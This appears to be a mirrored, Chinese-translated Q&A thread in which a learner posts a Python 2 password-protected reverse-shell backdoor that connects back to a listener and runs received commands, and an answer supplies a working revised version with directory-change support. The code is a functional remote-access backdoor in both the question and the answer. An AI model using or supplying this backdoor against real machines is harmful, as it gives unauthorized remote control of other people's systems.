【问题标题】:Backdoor Shell doesn't allow me to change Directory后门外壳不允许我更改目录
【发布时间】:2017-10-30 16:00:08
【问题描述】:

您可以在下面看到一个 Python 脚本,它在端口 1234 上与我的机器建立连接。使用 Netcat,我可以在该端口上侦听,然后使用终端在我的机器上执行操作(我知道这很简单,但它只是用于练习)。

现在的问题是“ls、mkdir、pwd、rm 甚至“ls /root/Desktop/”之类的命令都可以正常工作,但是“cd /root/Desktop”或“cd ..”不能正常工作,这实际上非常糟糕。键入“cd ..”不会返回任何错误消息,但它也不会更改目录。我不能离开我的 python 目录。

这是脚本:

#! /usr/bin/python
import socket
import subprocess

host = "localhost"
port = 1234
passwd = "hacking"


def login():
    global s
    s.send("Login: ")
    pwd = s.recv(1024)

    if pwd.strip() != passwd:
        login()
    else:
        s.send("Connected #> ")
        shell()

def shell():
    while True:
        data = s.recv(1024)

        if data.strip() == ":kill":
              break

        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,
                                stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        output = proc.stdout.read() + proc.stderr.read()
        s.send(output)
        s.send("#> ")



s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
login()

我是从here 那里得到的。

谁能帮帮我?知道为什么我不能离开目录吗?提前致谢!

【问题讨论】:

    标签: python python-2.7 sockets subprocess


    【解决方案1】:

    它实际上工作正常。如果您在单个命令中尝试此操作:cd /other/directory; ls。您会看到该目录实际上在该命令执行期间确实“更改”了。每个新命令都会获得一个全新的环境(所以回到相同的原始目录)。如果您真的想在命令之间更改“服务器上下文”,那么您需要在 python 中执行此操作。以下是添加到您提供的代码中的脏示例:

    #! /usr/bin/python
    import socket
    import subprocess
    import os
    
    host = "localhost"
    port = 12345
    passwd = "hacking"
    
    
    def login():
        global s
        s.send("Login: ")
        pwd = s.recv(1024)
    
        if pwd.strip() != passwd:
            login()
        else:
            s.send("Connected #> ")
            shell()
    
    def shell():
        while True:
            data = s.recv(1024).strip()
    
            if data == ":kill":
                  break
    
            try:
                cmd, params = data.split(" ", 1)
                if cmd == ":chdir":
                    os.chdir(params)
                    print "chdir to %s" % (params)
                    s.send("#> ")
                    continue
            except:
                pass
    
            proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,
                                    stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            output = proc.stdout.read() + proc.stderr.read()
            s.send(output)
            s.send("#> ")
    
    
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    login()
    

    与你的 ":kill" 命令的想法相同,如果脚本看到的是 ":chdir /new/directory",则 python 执行 chdir 函数,否则将其传递给 Popen。

    【讨论】:

    • 你好 smassey,非常感谢!我实际上将 if cmd == ":chdir": 更改为 if cmd == "cd": ,现在它完全按照我的意愿工作了!一个问题:我实际上是 Python 的新手(现在用 Python 工作了一个月)。我不知道 os 模块。那么将来如果我想添加一些功能,那么对“正确”模块进行细化的最佳方法是什么?总是在论坛上提问似乎不是让自己变得更好的最佳方式
    • 嗨@Benjamin,不幸的是,这并不是那么直截了当。虽然一开始可能看起来令人生畏,但标准库绝对是起点:docs.python.org/2/library/index.html 这是您不需要详细了解的内容(每个函数的每个参数),但至少知道可用的模块及其一般用途.那里的每个模块都有自己的用途,您可能有一天会需要这些用途。仅仅一个月后的良好开端,看到这个脚本很有趣(大约十年前,我以完全相同的方式开始了我的旅程:“进攻性 python”;)
    • 我理解问题,它不需要复杂:当您在目录 X 中启动服务器时,它将成为服务器的“工作目录”。服务器是一个独立的进程。当您使用 Popen() 时,您实际上是在创建/产生新进程。这些进程继承自父(服务器)进程,因此默认情况下它们将具有相同的工作目录。当您运行cd /; ls 时,生成的进程(由 Popen() 创建的进程)实际上会更改目录,但这不会更改父进程(服务器)的状态。 os.chdir 更新服务器上下文。
    • 所以在子进程死亡/结束后,它的整个上下文都丢失了,包括它当前的“工作目录”。这就是为什么一个简单的cd / 对服务器没有任何改变,而cd /; ls 只在子进程中有效。 cd / 由子进程而不是服务器处理。现在更有意义了吗?
    • 我不会链接到它的任何 PDF,因为我假设这会违反 SO 规则,但尝试从“Gang of 4"。这是这里看到的书:en.wikipedia.org/wiki/Design_Patterns。到目前为止最好的起点。祝你好运
    猜你喜欢
    • 2012-02-28
    • 2019-04-27
    • 2014-08-01
    • 1970-01-01
    • 1970-01-01
    • 2012-03-23
    • 1970-01-01
    • 2011-12-15
    • 1970-01-01
    相关资源
    最近更新 更多